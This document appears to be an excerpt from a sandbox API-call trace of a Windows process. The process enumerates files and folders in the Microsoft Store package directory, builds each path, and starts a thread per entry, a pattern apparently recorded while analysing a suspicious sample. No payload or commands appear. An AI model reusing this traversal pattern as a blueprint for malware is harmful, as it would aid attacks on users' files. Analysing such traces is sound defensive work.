	[0090.034] FindNextFileW (in: hFindFile=0x46a7a58, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x111a4a34, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb3d7d8df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x111a4a34, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0090.034] wcscmp (_String1="Assets", _String2=".") returned 1
	[0090.034] wcscmp (_String1="Assets", _String2="..") returned 1
	[0090.034] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x47ebca8
	[0090.034] wcscpy (in: _Dest=0x47ebca8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0090.034] wcscat (in: _Dest=0x47ebca8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0090.034] wcscat (in: _Dest=0x47ebca8, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47ebca8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21b4
	[0090.035] FindNextFileW (in: hFindFile=0x46a7a58, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x209d0ef, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x209d0ef, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x209d0ef, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0090.035] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0090.035] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0090.035] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x118) returned 0x4771f58
	[0090.035] wcscpy (in: _Dest=0x4771f58, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0090.035] wcscat (in: _Dest=0x4771f58, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0090.035] wcscat (in: _Dest=0x4771f58, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.035] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4771f58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21b8
	[0090.036] FindNextFileW (in: hFindFile=0x46a7a58, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1123d39e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1123d39e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1123d39e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x990, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0090.036] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0090.036] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0090.036] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x4751f78
	[0090.036] wcscpy (in: _Dest=0x4751f78, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0090.036] wcscat (in: _Dest=0x4751f78, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0090.036] wcscat (in: _Dest=0x4751f78, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri"
	[0090.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4751f78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21bc
	[0090.036] FindNextFileW (in: hFindFile=0x46a7a58, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1123d39e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1123d39e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1123d39e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x990, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 0
	[0090.036] FindClose (in: hFindFile=0x46a7a58 | out: hFindFile=0x46a7a58) returned 1
	[0090.037] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502d080) returned 1
	[0090.037] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e446e0) returned 1
	[0090.037] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477e1f0) returned 1

Thread:
	id = 1047
	os_tid = 0x1ccc

	[0082.705] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x47c87a0
	[0082.705] wcscpy (in: _Dest=0x47c87a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe"
	[0082.705] wcscat (in: _Dest=0x47c87a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\"
	[0082.705] wcscat (in: _Dest=0x47c87a0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\*"
	[0082.705] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502d2e8
	[0082.705] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf79c53c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x209d0ef, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x209d0ef, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7a98
	[0082.706] wcscmp (_String1=".", _String2=".") returned 0
	[0082.706] FindNextFileW (in: hFindFile=0x46a7a98, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf79c53c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x209d0ef, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x209d0ef, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.706] wcscmp (_String1="..", _String2=".") returned 1
	[0082.706] wcscmp (_String1="..", _String2="..") returned 0
	[0082.706] FindNextFileW (in: hFindFile=0x46a7a98, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf79c53c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf7c2795, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xf7c2795, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x11399, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.706] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.706] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.706] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x46a56e0
	[0082.706] wcscpy (in: _Dest=0x46a56e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe"
	[0082.706] wcscat (in: _Dest=0x46a56e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\"
	[0082.706] wcscat (in: _Dest=0x46a56e0, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0090.013] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x46a56e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1658
	[0090.014] FindNextFileW (in: hFindFile=0x46a7a98, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf79c53c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf79c53c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xf79c53c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x9334, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0090.014] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0090.014] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0090.014] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x477cf50
	[0090.014] wcscpy (in: _Dest=0x477cf50, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe"
	[0090.014] wcscat (in: _Dest=0x477cf50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\"
	[0090.014] wcscat (in: _Dest=0x477cf50, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0090.014] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477cf50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2160
	[0090.014] FindNextFileW (in: hFindFile=0x46a7a98, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7c2795, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb3e4b375, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf7c2795, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0090.014] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0090.014] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0090.014] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47e8b40
	[0090.015] wcscpy (in: _Dest=0x47e8b40, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe"
	[0090.015] wcscat (in: _Dest=0x47e8b40, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\"
	[0090.015] wcscat (in: _Dest=0x47e8b40, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0090.015] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47e8b40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2164
	[0090.015] FindNextFileW (in: hFindFile=0x46a7a98, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7c2795, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf7c2795, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xf7c2795, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x29c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0090.015] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0090.015] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0090.015] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477e9d0
	[0090.015] wcscpy (in: _Dest=0x477e9d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe"
	[0090.015] wcscat (in: _Dest=0x477e9d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\"
	[0090.015] wcscat (in: _Dest=0x477e9d0, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0090.015] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477e9d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2168
	[0090.016] FindNextFileW (in: hFindFile=0x46a7a98, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf834ea6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb3e4b71c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfb96d5c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0090.016] wcscmp (_String1="Assets", _String2=".") returned 1
	[0090.016] wcscmp (_String1="Assets", _String2="..") returned 1
	[0090.016] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4925770
	[0090.016] wcscpy (in: _Dest=0x4925770, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe"
	[0090.016] wcscat (in: _Dest=0x4925770, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\"
	[0090.016] wcscat (in: _Dest=0x4925770, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.016] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4925770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x216c
	[0090.017] FindNextFileW (in: hFindFile=0x46a7a98, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb96d5c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xfbbcfe3, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xfbbcfe3, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xff58, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1
	[0090.017] wcscmp (_String1="ClrCompression.dll", _String2=".") returned 1
	[0090.017] wcscmp (_String1="ClrCompression.dll", _String2="..") returned 1
	[0090.017] FindNextFileW (in: hFindFile=0x46a7a98, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbbcfe3, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb3f54435, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfbbcfe3, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content", cAlternateFileName="")) returned 1
	[0090.017] wcscmp (_String1="Content", _String2=".") returned 1
	[0090.017] wcscmp (_String1="Content", _String2="..") returned 1
	[0090.017] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x49259c8
	[0090.017] wcscpy (in: _Dest=0x49259c8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe"
	[0090.017] wcscat (in: _Dest=0x49259c8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\"
	[0090.017] wcscat (in: _Dest=0x49259c8, _Source="Content" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\Content") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\Content"
	[0090.017] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x49259c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2170
	[0090.018] FindNextFileW (in: hFindFile=0x46a7a98, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbe323d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xfe457ed, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xfe457ed, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x78e370, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntCommon.dll", cAlternateFileName="")) returned 1
	[0090.018] wcscmp (_String1="EntCommon.dll", _String2=".") returned 1
	[0090.018] wcscmp (_String1="EntCommon.dll", _String2="..") returned 1
	[0090.018] FindNextFileW (in: hFindFile=0x46a7a98, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6ba4b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xfe91ca4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xfe91ca4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x55400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Entertainment.winmd", cAlternateFileName="")) returned 1
	[0090.018] wcscmp (_String1="Microsoft.Entertainment.winmd", _String2=".") returned 1
	[0090.018] wcscmp (_String1="Microsoft.Entertainment.winmd", _String2="..") returned 1
	[0090.018] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x4751d88
	[0090.018] wcscpy (in: _Dest=0x4751d88, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe"
	[0090.018] wcscat (in: _Dest=0x4751d88, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\"
	[0090.018] wcscat (in: _Dest=0x4751d88, _Source="Microsoft.Entertainment.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\Microsoft.Entertainment.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\Microsoft.Entertainment.winmd"
	[0090.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4751d88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2174
	[0090.019] FindNextFileW (in: hFindFile=0x46a7a98, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x209d0ef, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xef0f4f22, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xef0f4f22, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0090.019] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0090.019] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0090.019] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4777860
	[0090.019] wcscpy (in: _Dest=0x4777860, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe"
